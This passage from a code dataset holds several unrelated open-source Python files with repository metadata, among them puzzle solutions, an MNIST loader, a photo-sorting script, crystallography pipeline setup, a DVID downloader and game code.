data.count('(') - data.count(')')\n\ndef part_two():\n count=0\n floor=0\n for c in data:\n count+=1\n if c == '(':\n floor+=1\n if c == ')':\n floor-=1\n if floor == -1:\n return count\n\nprint(part_one())\nprint(part_two())\n","repo_name":"akkerman/advent_of_code","sub_path":"2015/01-Not-Quite-Lisp.py","file_name":"01-Not-Quite-Lisp.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33209041515","text":"from array import array\nimport numpy as np\nimport struct\nimport sys\nimport os\n\nclass MNISTLoader:\n\n def __init__(self, path):\n self.path = path\n\n self.train_img_fname = 'train-images-idx3-ubyte'\n self.train_lbl_fname = 'train-labels-idx1-ubyte'\n self.train_images, self.train_labels = [], []\n\n self.test_img_fname = 't10k-images-idx3-ubyte'\n self.test_lbl_fname = 't10k-labels-idx1-ubyte'\n self.test_images, self.test_labels = [], []\n\n self.num_classes = 10\n self.rows = 28\n self.cols = 28\n self.channels = 1\n\n self.load_data()\n\n def load_data(self):\n imgs, labels = self.load(os.path.join(self.path, self.train_img_fname),\n os.path.join(self.path, self.train_lbl_fname))\n self.train_images = self.process_images(imgs)\n self.train_labels = self.process_labels(labels)\n print('Train data:', self.train_images.shape, self.train_labels.shape)\n\n imgs, labels = self.load(os.path.join(self.path, self.test_img_fname),\n os.path.join(self.path, self.test_lbl_fname))\n self.test_images = self.process_images(imgs)\n self.test_labels = self.process_labels(labels)\n print('Test data:', self.test_images.shape, self.test_labels.shape)\n\n @classmethod\n def load(cls, path_img, path_lbl):\n with open(path_lbl, 'rb') as file:\n magic, size = struct.unpack(\">II\", file.read(8))\n if magic != 2049:\n raise ValueError('Magic number mismatch, expected 2049,'\n 'got {}'.format(magic))\n\n labels = array(\"B\", file.read())\n\n with open(path_img, 'rb') as file:\n magic, size, rows, cols = struct.unpack(\">IIII\", file.read(16))\n if magic != 2051:\n raise ValueError('Magic number mismatch, expected 2051,'\n 'got {}'.format(magic))\n\n image_data = array(\"B\", file.read())\n\n images = []\n for i in range(size):\n images.append([0] * rows * cols)\n\n for i in range(size):\n images[i][:] = image_data[i * rows * cols:(i + 1) * rows * cols]\n\n return images, labels\n\n @staticmethod\n def process_images(images):\n return np.array(images) / 255.\n\n @staticmethod\n def process_labels(labels):\n return np.array(labels)[:, np.newaxis]\n","repo_name":"tylersco/tensorflow_starter","sub_path":"data/mnist_loader.py","file_name":"mnist_loader.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23584186601","text":"#!/bin/python\n\ndef hm(r,y,b):\n if (r>y):\n if (r>b):\n highest=0\n if (y>b):\n middle=1\n lowest=2\n else:\n middle=2\n lowest=1\n else:\n highest=2\n middle=0\n lowest=1\n else:\n if(y>b):\n highest=1\n if(r>b):\n middle=0\n lowest=2\n else:\n middle=2\n lowest=0\n else:\n highest=2\n middle=1\n lowest=0\n return (highest,middle,lowest)\n\ndef mapIndex(n):\n if n==0:\n return \"R\"\n elif n==1:\n return \"Y\"\n elif n==2:\n return \"B\"\n else:\n return \"FAIL\"\n\ncaseCount = int(input())\nfor caseNum in range(1,caseCount+1):\n\n # case start\n n,r,o,y,g,b,v = [int(n) for n in input().split(\" \")]\n\n # build strings\n #gr = \"R\"+\"GR\"*g\n r-=g\n #vy = \"Y\"+\"VY\"*v\n y-=v\n #bo = \"B\"+\"OB\"*o\n b-=o\n\n #print(gr)\n #print(vy)\n #print(bo)\n n-=2*(g+v+o)\n #print(n)\n # fail fast\n if(min(r,y,b,n)<0):\n print(\"Case #{}: IMPOSSIBLE\")\n continue\n\n stack = [r,y,b]\n stall=\"\"\n highest,middle,lowest=hm(r,y,b)\n\n fCount=stack[highest]-stack[lowest]\n stall+=fCount*(mapIndex(highest)+mapIndex(middle))\n stack[highest]-=fCount\n stack[middle]-=fCount\n # now highest and lowest have same size\n\n # fail fast\n if(min(stack)<0):\n print(\"Case #{}: IMPOSSIBLE\".format(caseNum))\n continue\n\n sCount=stack[highest]-stack[middle]\n stall+=sCount*(mapIndex(highest)+mapIndex(lowest))\n stack[highest]-=sCount\n stack[lowest]-=sCount\n # now all have same size\n\n # fail fast\n if(min(stack)<0):\n print(\"Case #{}: IMPOSSIBLE\".format(caseNum))\n continue\n\n tCount=stack[highest]\n stall+=tCount*(mapIndex(highest)+mapIndex(middle)+mapIndex(lowest))\n # now all are placed\n\n # fit in bob strings\n for i in range(g):\n if stall==\"\":\n stall=\"RG\"\n else:\n stall=stall.replace(\"R\",\"RGR\",1)\n for i in range(v):\n if stall==\"\":\n stall=\"YV\"\n else:\n stall=stall.replace(\"Y\",\"YVY\",1)\n for i in range(o):\n if stall==\"\":\n stall=\"BO\"\n else:\n stall=stall.replace(\"B\",\"BOB\",1)\n\n print(\"Case #{}: {}\".format(caseNum,stall))\n # case end\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_207/733.py","file_name":"733.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30685423457","text":"import datetime\r\nimport glob\r\nimport logging\r\nimport os\r\nimport shutil\r\nfrom multiprocessing import Pool, freeze_support\r\n\r\nimport exif\r\n\r\n\r\ndef read_exif(img_path):\r\n\r\n with open(img_path, 'rb') as img_file:\r\n try:\r\n img = exif.Image(img_file)\r\n img.has_exif\r\n except ValueError as err:\r\n print('{filename} seems to be no image file.'.format(filename=img_file))\r\n raise err\r\n\r\n if img.has_exif:\r\n return img\r\n else:\r\n return None\r\n\r\n\r\ndef get_creation_date(img):\r\n\r\n try:\r\n creation_date_str = img.get('datetime_original')\r\n except:\r\n raise OSError()\r\n if creation_date_str is not None:\r\n return creation_date_str\r\n\r\n creation_date_str = img.get('datetime')\r\n return creation_date_str\r\n\r\n\r\ndef parse_dt_exif(creation_date_str):\r\n try:\r\n creation_dt = datetime.datetime.strptime(creation_date_str, '%Y:%m:%d %H:%M:%S')\r\n except:\r\n logging.error('creation_date_str {creation_date_str} is not matching the expected datetime format.'.format(\r\n creation_date_str=creation_date_str))\r\n raise\r\n return creation_dt\r\n\r\n\r\ndef target_dir(base_dir, creation_dt:datetime.datetime):\r\n return os.path.join(base_dir, creation_dt.strftime('%Y'), creation_dt.strftime('%m'))\r\n\r\n\r\ndef target_name(creation_dt: datetime.datetime, img=None):\r\n if img is not None:\r\n model = img.get('model')\r\n maker = img.get('make')\r\n device_hint = '_'.join(filter(None, [maker, model])).replace(' ', '')\r\n else:\r\n device_hint = ''\r\n\r\n name_str = '_'.join(filter(None, [creation_dt.strftime('%Y%m%d_%H%M%S'), device_hint]))\r\n return name_str + '.jpg'\r\n\r\n\r\ndef process_image(filename):\r\n try:\r\n img = read_exif(filename)\r\n creation_str = get_creation_date(img)\r\n creation_dt = parse_dt_exif(creation_str)\r\n target_dir_name = target_dir(base_name, creation_dt)\r\n output_file = os.path.join(target_dir_name, target_name(creation_dt, img=img))\r\n except:\r\n shutil.copy2(filename, problem_dir)\r\n return\r\n if not os.path.exists(output_file):\r\n try:\r\n shutil.copy2(filename, output_file)\r\n except FileNotFoundError as err:\r\n os.makedirs(target_dir_name)\r\n shutil.copy2(filename, output_file)\r\n else:\r\n if os.stat(filename).st_size > os.stat(output_file).st_size:\r\n try:\r\n shutil.copy2(filename, output_file)\r\n except:\r\n return\r\n\r\n\r\n\r\ndef run_multiprocessing(func, i, n_processors):\r\n with Pool(processes=n_processors) as pool:\r\n return pool.map(func, i)\r\n\r\n\r\nclass ProgressTracker:\r\n def __init__(self, expected_total):\r\n self.total = expected_total\r\n self.start_time = datetime.datetime.now()\r\n self.processed = 0\r\n\r\n def start_processing(self):\r\n print('Start processing {number} files at {time}'.format(\r\n number=self.total,\r\n time=self.start_time.strftime('%Y-%m-%d %H:%M:%S')))\r\n\r\n def report_execution(self):\r\n self.processed += 1\r\n print('Processed {ready} items or {percent} in {timedelta}'.format(\r\n ready=self.processed,\r\n percent=100 * self.processed / self.total,\r\n timedelta=(datetime.datetime.now() - self.start_time).seconds\r\n ))\r\n\r\n\r\nif __name__ == '__main__':\r\n # freeze_support() # required to use multiprocessing\r\n\r\n initial_path = '.'\r\n initial_path = '/mnt/c/Users/jtack/Documents/Privat/Bilder/ToBeSorted'\r\n\r\n\r\n base_name = '../target_dir'\r\n base_name = '/mnt/c/Users/jtack/Documents/Privat/Bilder/target_dir'\r\n\r\n problem_dir = '/mnt/c/Users/jtack/Documents/Privat/Bilder/problems'\r\n\r\n n_processors = 16\r\n\r\n # iterate over files in\r\n # that directory\r\n # for filename in glob.iglob(f'{initial_path}/**', recursive=True):\r\n # # if filename.find('_') == 0:\r\n # # continue\r\n # process_image(filename)\r\n # filename_list = glob.glob(f'{initial_path}/**', recursive=True)\r\n filename_list = glob.glob(f'{initial_path}/**/*.[jJ][pP][gG]', recursive=True)\r\n filename_list.extend(glob.glob(f'{initial_path}/**/*.[jJ][pP][eE][gG]', recursive=True))\r\n\r\n out = run_multiprocessing(process_image, filename_list, n_processors)\r\n\r\n\r\n\r\n","repo_name":"tackenberger/DuplicateRemover","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3950842318","text":"\nfrom cStringIO import StringIO\nfrom pychart import *\nfrom planes.python.xml.tags import tags as xml_tags\n\nclass barchart(object):\n\n def __init__(self, data):\n self.data = data\n\n def ___repr__(self, kit):\n\n tags = kit.tags\n if tags is None: tags = xml_tags\n\n buffer = StringIO()\n Canvas = canvas.init(buffer, format = 'png')\n Area = area.T(\n x_coord = category_coord.T(self.data, 0),\n y_range = (0, None),\n x_axis = axis.X(label = \"X\"),\n y_axis = axis.Y(label = \"Y\"),\n )\n Area.add_plot(\n bar_plot.T(\n data = self.data, \n label = \"Bar Chart\"\n )\n )\n Area.draw(Canvas)\n Canvas.close()\n\n return tags.img(\n src = host(\n StringIO(buffer.getvalue()),\n content_type = 'image/png',\n ),\n alt = 'Bar Chart',\n onload = 'messageBuffer.autoScroll()',\n )\n\n","repo_name":"kriskowal/planes","sub_path":"python/chartkit.py","file_name":"chartkit.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"25014142056","text":"from __future__ import absolute_import, division, print_function\n\nimport iota.threads.iota_threads\n\n\"\"\"\nAuthor : Lyubimov, A.Y.\nCreated : 10/12/2014\nLast Changed: 11/21/2019\nDescription : Interprets command line arguments. Initializes all IOTA starting\n parameters. Starts main log. Options for a variety of running\n modes, including resuming an aborted run.\n\"\"\"\n\nimport os\nimport copy\nimport time\n\nassert time\n\nimport iota.init.iota_input as inp\nfrom iota.utils import utils as util\nfrom iota.base.info import ProcInfo\n\n\ndef initialize_interface(args, phil_args=None, gui=False):\n \"\"\"Read and process input, create PHIL.\"\"\"\n\n msg = []\n input_dict = iota.threads.iota_threads.ginp.process_mixed_input(args.path)\n if input_dict and not gui and not input_dict[\"imagefiles\"]:\n return None, None, \"IOTA_INIT_ERROR: No readable image files in path(s)!\"\n\n # Move args that were included in paths and not processed into phil_args,\n # to try and interpret them as PHIL args\n if input_dict[\"badpaths\"]:\n phil_args.extend(input_dict[\"badpaths\"])\n\n # Read in parameters, make IOTA PHIL\n iota_phil, bad_args = inp.process_input(\n args=args, phil_args=phil_args, paramfile=input_dict[\"paramfile\"], gui=gui\n )\n\n # Check if any PHIL args not read into the PHIL were in fact bad paths\n if bad_args:\n input_dict[\"badpaths\"] = [a for a in bad_args if a in input_dict[\"badpaths\"]]\n if input_dict[\"badpaths\"]:\n msg.append(\"Files or directories not found:\")\n for badpath in input_dict[\"badpaths\"]:\n msg += \"\\n{}\".format(badpath)\n bad_args = [a for a in bad_args if a not in input_dict[\"badpaths\"]]\n if bad_args:\n msg += \"\\nThese arguments could not be interpreted: \"\n for arg in bad_args:\n msg += \"\\n{}\".format(arg)\n\n return input_dict, iota_phil, msg\n\n\ndef initialize_new_run(phil, input_dict=None, target_phil=None):\n \"\"\"Create base integration folder; safe phil, input, and info to file.\"\"\"\n try:\n params = phil.extract()\n int_base, run_no = util.set_base_dir(\n dirname=\"integration\", out_dir=params.output, get_run_no=True\n )\n if not os.path.isdir(int_base):\n os.makedirs(int_base)\n\n # Create input list file and populate param input line\n input_list_file = None\n if input_dict:\n if len(input_dict[\"imagepaths\"]) + len(input_dict[\"imagefiles\"]) >= 25:\n input_list_file = os.path.join(int_base, \"input.lst\")\n with open(input_list_file, \"w\") as lf:\n for f in input_dict[\"imagefiles\"]:\n lf.write(\"{}\\n\".format(f))\n params.input = [input_list_file]\n # else:\n # # If there are too many imagefiles, re-constitute the \"glob\" format\n # # by matching filepaths and replacing non-matching characters with\n # # asterisks\n # if len(input_dict[\"imagefiles\"]) >= 25:\n # input_paths = []\n # for path in input_dict[\"imagepaths\"]:\n # fileset = [\n # os.path.basename(i)\n # for i in input_dict[\"imagefiles\"]\n # if path in i\n # ]\n # zips = [list(set(i)) for i in zip(*fileset)]\n # chars = [i[0] if len(i) == 1 else \"*\" for i in zips]\n # fname = \"\".join(chars)\n # while \"*\" * 2 in fname:\n # fname = fname.replace(\"*\" * 2, \"*\")\n # input_paths.append(os.path.join(path, fname))\n # params.input = input_paths\n # else:\n # params.input = input_dict[\"imagefiles\"]\n # input_list_file = None\n\n\n # Generate default backend PHIL, write to file, and update params\n target_fp = os.path.join(int_base, \"target.phil\")\n if target_phil:\n target_phil = inp.write_phil(\n phil_str=target_phil, dest_file=target_fp, write_target_file=True\n )\n else:\n if params.cctbx_xfel.target:\n target_phil = inp.write_phil(\n phil_file=params.cctbx_xfel.target,\n dest_file=target_fp,\n write_target_file=True,\n )\n else:\n method = params.advanced.processing_backend\n target_phil, _ = inp.write_defaults(\n method=method, write_param_file=False, filepath=target_fp\n )\n params.cctbx_xfel.target = target_fp\n\n # Save PHIL for this run in base integration folder\n paramfile = os.path.join(int_base, \"iota_r{}.param\".format(run_no))\n phil = phil.format(python_object=params)\n\n with open(paramfile, \"w\") as philf:\n philf.write(phil.as_str())\n\n # Initialize main log\n logfile = os.path.abspath(os.path.join(int_base, \"iota.log\"))\n\n # Initialize proc.info object and save to file\n info = ProcInfo.from_args(\n iota_phil=phil.as_str(),\n target_phil=target_phil.as_str(),\n int_base=int_base,\n input_list_file=input_list_file,\n info_file=os.path.join(int_base, \"proc.info\"),\n cluster_info_file=os.path.join(int_base, \"cluster.info\"),\n paramfile=paramfile,\n logfile=logfile,\n run_number=run_no,\n description=params.description,\n status=\"initialized\",\n have_results=False,\n errors=[],\n init_proc=False,\n )\n info.export_json()\n return True, info, \"IOTA_XTERM_INIT: Initialization complete!\"\n except Exception as e:\n msg = \"IOTA_INIT_ERROR: Could not initialize run! {}\".format(e)\n return False, None, msg\n\n\ndef initialize_processing(paramfile, run_no):\n \"\"\"Initialize processing for a set of images.\n\n :param paramfile: text file with IOTA parameters\n :param run_no: number of the processing run\n :return: info: INFO object\n params: IOTA params\n \"\"\"\n try:\n phil, _ = inp.get_input_phil(paramfile=paramfile)\n except Exception as e:\n msg = \"IOTA_PROC_ERROR: Cannot import IOTA parameters! {}\".format(e)\n return False, msg\n else:\n params = phil.extract()\n\n # Reconstruct integration base path and get info object\n int_base = os.path.join(params.output, \"integration/{:03d}\".format(run_no))\n try:\n info_file = os.path.join(int_base, \"proc.info\")\n info = ProcInfo.from_json(filepath=info_file)\n except Exception as e:\n msg = \"IOTA_PROC_ERROR: Cannot import INFO object! {}\".format(e)\n return False, msg\n\n # Generate input list and input base\n if not hasattr(info, \"input_list\"):\n info.generate_input_list(params=params)\n\n filepath_list = []\n for item in info.input_list:\n if isinstance(item, list) or isinstance(item, tuple):\n fp = [i for i in item if os.path.exists(str(i))]\n if fp and len(fp) == 1:\n filepath_list.append(fp[0])\n else:\n if os.path.exists(item):\n filepath_list.append(item)\n common_pfx = os.path.abspath(os.path.dirname(os.path.commonprefix(filepath_list)))\n\n input_base = common_pfx\n if os.path.isdir(os.path.abspath(params.input[0])):\n new_common_pfx = os.path.commonprefix(\n [os.path.abspath(params.input[0]), common_pfx]\n )\n if new_common_pfx not in (\"\", \".\"):\n input_base = new_common_pfx\n\n # Generate subfolder paths\n paths = dict(\n obj_base=os.path.join(int_base, \"image_objects\"),\n fin_base=os.path.join(int_base, \"final\"),\n log_base=os.path.join(int_base, \"logs\"),\n dials_log_base=os.path.join(int_base, \"logs/dials_logs\"),\n viz_base=os.path.join(int_base, \"visualization\"),\n tmp_base=os.path.join(int_base, \"tmp\"),\n input_base=input_base,\n )\n for bkey, bvalue in paths.items():\n if bkey == \"input_base\":\n continue\n if not os.path.isdir(bvalue):\n os.makedirs(bvalue)\n info.update(paths)\n\n # Generate filepaths for various info files\n info_files = dict(\n obj_list_file=os.path.join(info.tmp_base, \"finished_objects.lst\"),\n idx_file=os.path.join(info.int_base, \"observations.pickle\"),\n )\n info.update(info_files)\n\n # Initialize stat containers\n info = generate_stat_containers(info=info, params=params)\n\n # Initialize main log\n util.main_log(info.logfile, \"{:*^80} \\n\".format(\" IOTA MAIN LOG \"))\n util.main_log(info.logfile, \"{:-^80} \\n\".format(\" SETTINGS FOR THIS RUN \"))\n util.main_log(info.logfile, info.iota_phil)\n util.main_log(info.logfile, \"{:-^80} \\n\".format(\"BACKEND SETTINGS\"))\n util.main_log(info.logfile, info.target_phil)\n\n info.export_json()\n\n return info, params\n\n\ndef resume_processing(info):\n \"\"\"Initialize run parameters for an existing run (e.g. for resuming a\n terminated run or re-submitting with new images)\n\n :param info: INFO object\n :return: info: Updated INFO object\n params: IOTA params\n \"\"\"\n\n if not info.init_proc:\n return initialize_processing(info.paramfile, info.run_number)\n else:\n try:\n phil, _ = inp.get_input_phil(paramfile=info.paramfile)\n except Exception:\n return None, None\n else:\n info.status = \"processing\"\n return info, phil.extract()\n\n\ndef initialize_single_image(\n img, paramfile, output_file=None, output_dir=None, min_bragg=10\n):\n\n phil, _ = inp.get_input_phil(paramfile=paramfile)\n params = phil.extract()\n\n params.input = [img]\n params.mp.n_processors = 1\n params.data_selection.image_triage.minimum_Bragg_peaks = min_bragg\n phil = phil.format(python_object=params)\n\n info = ProcInfo.from_args(iota_phil=phil.as_str(), paramfile=paramfile)\n\n # Initialize output\n if output_file is not None:\n if output_dir is not None:\n output = os.path.join(os.path.abspath(output_dir), output_file)\n else:\n output = os.path.abspath(output_file)\n else:\n output = None\n info.obj_list_file = output\n\n info.generate_input_list(params=params)\n info = generate_stat_containers(info=info, params=params)\n\n return info, params\n\n\ndef generate_stat_containers(info, params):\n # Generate containers for processing information\n info.update(\n bookmark=0,\n merged_indices={},\n b_factors=[],\n final_objects=[],\n finished_objects=[],\n status_summary={\"nonzero\": [], \"names\": [], \"patches\": []},\n cluster_iterable=[],\n clusters=[],\n prime_info=[],\n user_sg=\"P1\",\n best_pg=None,\n best_uc=None,\n msg=\"\",\n categories=dict(\n total=(\n copy.deepcopy(info.unprocessed),\n \"images read in\",\n \"full_input.lst\",\n None,\n ),\n have_diffraction=([], \"have diffraction\", \"have_diffraction.lst\", None),\n failed_triage=([], \"failed triage\", \"failed_triage.lst\", \"#d73027\"),\n failed_spotfinding=(\n [],\n \"failed spotfinding\",\n \"failed_spotfinding.lst\",\n \"#f46d43\",\n ),\n failed_indexing=([], \"failed indexing\", \"failed_indexing.lst\", \"#fdae61\"),\n failed_refinement=(\n [],\n \"failed refinement\",\n \"failed_refinement.lst\",\n \"#fdae6b\",\n ),\n failed_grid_search=(\n [],\n \"failed grid search\",\n \"failed_integration.lst\",\n \"#fee090\",\n ),\n failed_integration=(\n [],\n \"failed integration\",\n \"failed_integration.lst\",\n \"#fee090\",\n ),\n failed_filter=([], \"failed filter\", \"failed_filter.lst\", \"#ffffbf\"),\n integrated=([], \"integrated\", \"integrated.lst\", \"#4575b4\"),\n not_processed=(\n copy.deepcopy(info.unprocessed),\n \"not processed\",\n \"not_processed.lst\",\n \"#e0f3f8\",\n ),\n ),\n stats={},\n pointers={},\n pixel_size=None,\n status=\"processing\",\n init_proc=True,\n have_results=False,\n )\n\n # Grid search stats dictionary (HA14 - deprecated)\n if params.advanced.processing_backend == \"ha14\":\n gs_stat_keys = [\n (\"s\", \"signal height\", \"Signal Height\"),\n (\"h\", \"spot height\", \"Spot Height\"),\n (\"a\", \"spot area\", \"Spot Area\"),\n ]\n info.gs_stats = {}\n for key in gs_stat_keys:\n k = key[0]\n l = key[2]\n info.stats[k] = dict(lst=[], mean=0, std=0, max=0, min=0, cons=0, label=l)\n\n # Statistics dictionary\n stat_keys = [\n (\"res\", \"Resolution\"),\n (\"lres\", \"Low Resolution\"),\n (\"strong\", \"Number of spots\"),\n (\"score\", \"Image score\"),\n (\"mos\", \"Mosaicity\"),\n (\"wavelength\", \"X-ray Wavelength\"),\n (\"distance\", \"Detector Distance\"),\n (\"beamX\", \"BeamX (mm)\"),\n (\"beamY\", \"BeamY (mm)\"),\n ]\n for key in stat_keys:\n k = key[0]\n l = key[1]\n info.stats[k] = dict(\n lst=[], median=0, mean=0, std=0, max=0, min=0, cons=0, label=l\n )\n\n return info\n","repo_name":"ssrl-px/iota","sub_path":"src/iota/init/iota_init.py","file_name":"iota_init.py","file_ext":"py","file_size_in_byte":13780,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11252556666","text":"from __future__ import print_function, absolute_import, nested_scopes, generators, division, with_statement, unicode_literals\nimport logging\nfrom libdvid import DVIDNodeService, DVIDServerService\nimport h5py\nimport numpy as np\nimport json_tricks.np as json\nfrom pluginsystem.plugin_manager import TrackingPluginManager\n\nif __name__ == '__main__':\n \"\"\"\n download raw data and segmentation of a dataset from dvid.\n\n Example: python dvid/download_dataset.py --dvid-address 104.196.46.138:80 --label-image seg.ilp --raw raw.h5 --raw-path data --uuid 2994598cb92e446caa8d40a32c76b060 --time-range 0 10\n \"\"\"\n import argparse\n\n parser = argparse.ArgumentParser(description='Download raw data and segmentation from dvid',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--uuid', required=True, type=str, dest='uuid',\n help='Datset UUID that can be found on the DVID web interface')\n parser.add_argument('--dvid-address', required=True, type=str, dest='dvidAddress',\n help='<IP>:<Port> of the dvid server')\n parser.add_argument('--label-image', required=True, type=str, dest='ilpFilename',\n help='Filename of the HDF5 file that will contain the label images')\n parser.add_argument('--raw', required=True, type=str, dest='rawFilename',\n help='Filename of the hdf5 file that will contain the raw data')\n parser.add_argument('--raw-path', required=True, type=str, dest='rawPath',\n help='Path inside HDF5 file to raw volume')\n parser.add_argument('--label-image-path', type=str, dest='labelImagePath',\n help='Path inside ilastik project file to the label image',\n default='/TrackingFeatureExtraction/LabelImage/0000/[[%d, 0, 0, 0, 0], [%d, %d, %d, %d, 1]]')\n parser.add_argument('--time-range', type=int, nargs=2, dest='timeRange',\n help='Set time range to download (inclusive!)')\n parser.add_argument('--verbose', type=bool, dest='verbose', default=False,\n help='verbose logs')\n\n args = parser.parse_args()\n if args.verbose:\n logging.basicConfig(level=logging.DEBUG)\n else:\n logging.basicConfig(level=logging.INFO)\n\n # get node service\n server_address = args.dvidAddress\n node_service = DVIDNodeService(server_address, args.uuid)\n\n keyvalue_store = \"config\"\n settings = json.loads(node_service.get(keyvalue_store, \"imageInfo\"))\n\n shape = settings['shape']\n time_range = settings['time_range']\n if args.timeRange is not None:\n time_range = (max(time_range[0], args.timeRange[0]), min(time_range[1], args.timeRange[1]))\n\n logging.info('Downloading time range {} to {} of shape {}'.format(time_range, server_address, shape))\n\n raw_data = np.zeros((time_range[1] - time_range[0], shape[0], shape[1], shape[2]))\n\n # download all frames\n with h5py.File(args.ilpFilename, 'w') as seg_h5:\n for frame in range(time_range[0], time_range[1]):\n logging.info(\"Downloading frame {}\".format(frame))\n \n raw_name = \"raw-{}\".format(frame)\n seg_name = \"seg-{}\".format(frame)\n raw_image = node_service.get_gray3D(raw_name, shape, (0,0,0))\n seg_image = node_service.get_labels3D(seg_name, shape, (0,0,0))\n\n group_name = args.labelImagePath % (frame, frame+1, shape[0], shape[1], shape[2])\n seg_h5.create_dataset(group_name, data=seg_image, dtype=np.uint32)\n raw_data[frame, ...] = raw_image\n\n with h5py.File(args.rawFilename, 'w') as raw_h5:\n raw_h5.create_dataset(args.rawPath, data=raw_data, dtype=np.uint8)\n","repo_name":"chaubold/hytra","sub_path":"hytra/dvid/download_dataset.py","file_name":"download_dataset.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"39595709512","text":"import argparse\nfrom datetime import datetime\nimport subprocess\nfrom subprocess import Popen\n\ndef main():\n parser = argparse.ArgumentParser(description='copia')\n parser.add_argument(\"-c\", \"--command\", type = str, required=True, help = \"command\")\n parser.add_argument(\"-f\", \"--output\", type = str, required=True, help = \"destination file\")\n parser.add_argument(\"-l\", \"--log\", type = str, required=True, help = \"log file\")\n args = parser.parse_args()\n\n com = subprocess.Popen(args.command, shell = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n out, err = com.communicate()\n\n op = open(args.output, \"a\")\n op.write(format(out)+ '\\n')\n op.close()\n key = \"key\" + format(out)\n\n lf = open(args.log, \"a\")\n if key != \"key\":\n lf.write(str(datetime.now()) + \": Ejecutado Correctamente\" + '\\n')\n else:\n lf.write(str(datetime.now()) + \": \" + format(err))\n lf.close()\n\nif __name__ == '__main__':\n main()","repo_name":"PabloHerrera99/ComputacionII","sub_path":"tp2.py","file_name":"tp2.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13920342710","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Alien(Sprite):\n def __init__(self,ai_settings,screen):\n super().__init__()\n self.screen = screen\n self.ai_settings = ai_settings\n \n #loading alien image and setting it's rect attribute\n self.image = pygame.image.load('C:\\\\Users\\\\ABHINAV\\\\Desktop\\\\alien invasion project\\\\images\\\\alien.bmp')\n self.rect = self.image.get_rect()\n\n #starting each new alien at top left corner of screen\n self.rect.x = self.rect.width\n self.rect.y = self.rect.height\n \n #storing correct position of alien\n self.x = float(self.rect.x)\n\n def blitme(self):\n #draw alien at it's location\n self.screen.blit(self.image,self.rect)\n\n\n\n def check_edges(self):\n screen_rect = self.screen.get_rect()\n if self.rect.right >= screen_rect.right: #in this case alien touches right edge\n return True\n elif self.rect.left<=0: #alien touches left edge\n return True\n\n def update(self):\n self.x+=(self.ai_settings.alien_speed_factor*self.ai_settings.fleet_direction)\n self.rect.x = self.x\n\n\n \n","repo_name":"abhinav643/Alien-Invasion-Python-","sub_path":"alien.py","file_name":"alien.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71433134913","text":"import os, shutil, sys, time, re, glob\nimport numpy as np\nimport cv2\n\nIN_PATH = '../data/cropped_images/'\nOUT_PATH = '../data/augmented_images/'\n\nIMG_SIZE = (250, 250)\n\n\nfilenames = os.listdir(IN_PATH)\nfor filename in filenames:\n\n\t# Skip random files in directory\n\tif filename[0] == \".\":\n\t\tcontinue\n\n\t# Read the image into grayscale\n\timg = cv2.imread(IN_PATH + filename, 0)\n\n\t# Resize image to IMG_SIZE\n\timg = cv2.resize(img, IMG_SIZE)\n\n\t# Save image\n\tcv2.imwrite(OUT_PATH + filename, img)\n","repo_name":"barisakis/cs231a_eai","sub_path":"augmentImages.py","file_name":"augmentImages.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34626448239","text":"import logging\n\nimport tensorflow as tf\n\nfrom easy_rec.python.compat import regularizers\nfrom easy_rec.python.layers import dnn\nfrom easy_rec.python.layers import seq_input_layer\nfrom easy_rec.python.model.rank_model import RankModel\n\nfrom easy_rec.python.protos.multi_tower_pb2 import MultiTower as MultiTowerConfig # NOQA\n\nif tf.__version__ >= '2.0':\n tf = tf.compat.v1\n\n\nclass MultiTowerDIN(RankModel):\n\n def __init__(self,\n model_config,\n feature_configs,\n features,\n labels=None,\n is_training=False):\n super(MultiTowerDIN, self).__init__(model_config, feature_configs, features,\n labels, is_training)\n self._seq_input_layer = seq_input_layer.SeqInputLayer(\n feature_configs,\n model_config.seq_att_groups,\n embedding_regularizer=self._emb_reg,\n ev_params=self._global_ev_params)\n assert self._model_config.WhichOneof('model') == 'multi_tower', \\\n 'invalid model config: %s' % self._model_config.WhichOneof('model')\n self._model_config = self._model_config.multi_tower\n assert isinstance(self._model_config, MultiTowerConfig)\n\n self._tower_features = []\n self._tower_num = len(self._model_config.towers)\n for tower_id in range(self._tower_num):\n tower = self._model_config.towers[tower_id]\n tower_feature, _ = self._input_layer(self._feature_dict, tower.input)\n self._tower_features.append(tower_feature)\n\n self._din_tower_features = []\n self._din_tower_num = len(self._model_config.din_towers)\n\n logging.info('all tower num: {0}'.format(self._tower_num +\n self._din_tower_num))\n logging.info('din tower num: {0}'.format(self._din_tower_num))\n\n for tower_id in range(self._din_tower_num):\n tower = self._model_config.din_towers[tower_id]\n tower_feature = self._seq_input_layer(self._feature_dict, tower.input)\n\n # apply regularization for sequence feature key in seq_input_layer.\n\n regularizers.apply_regularization(\n self._emb_reg, weights_list=[tower_feature['hist_seq_emb']])\n self._din_tower_features.append(tower_feature)\n\n def 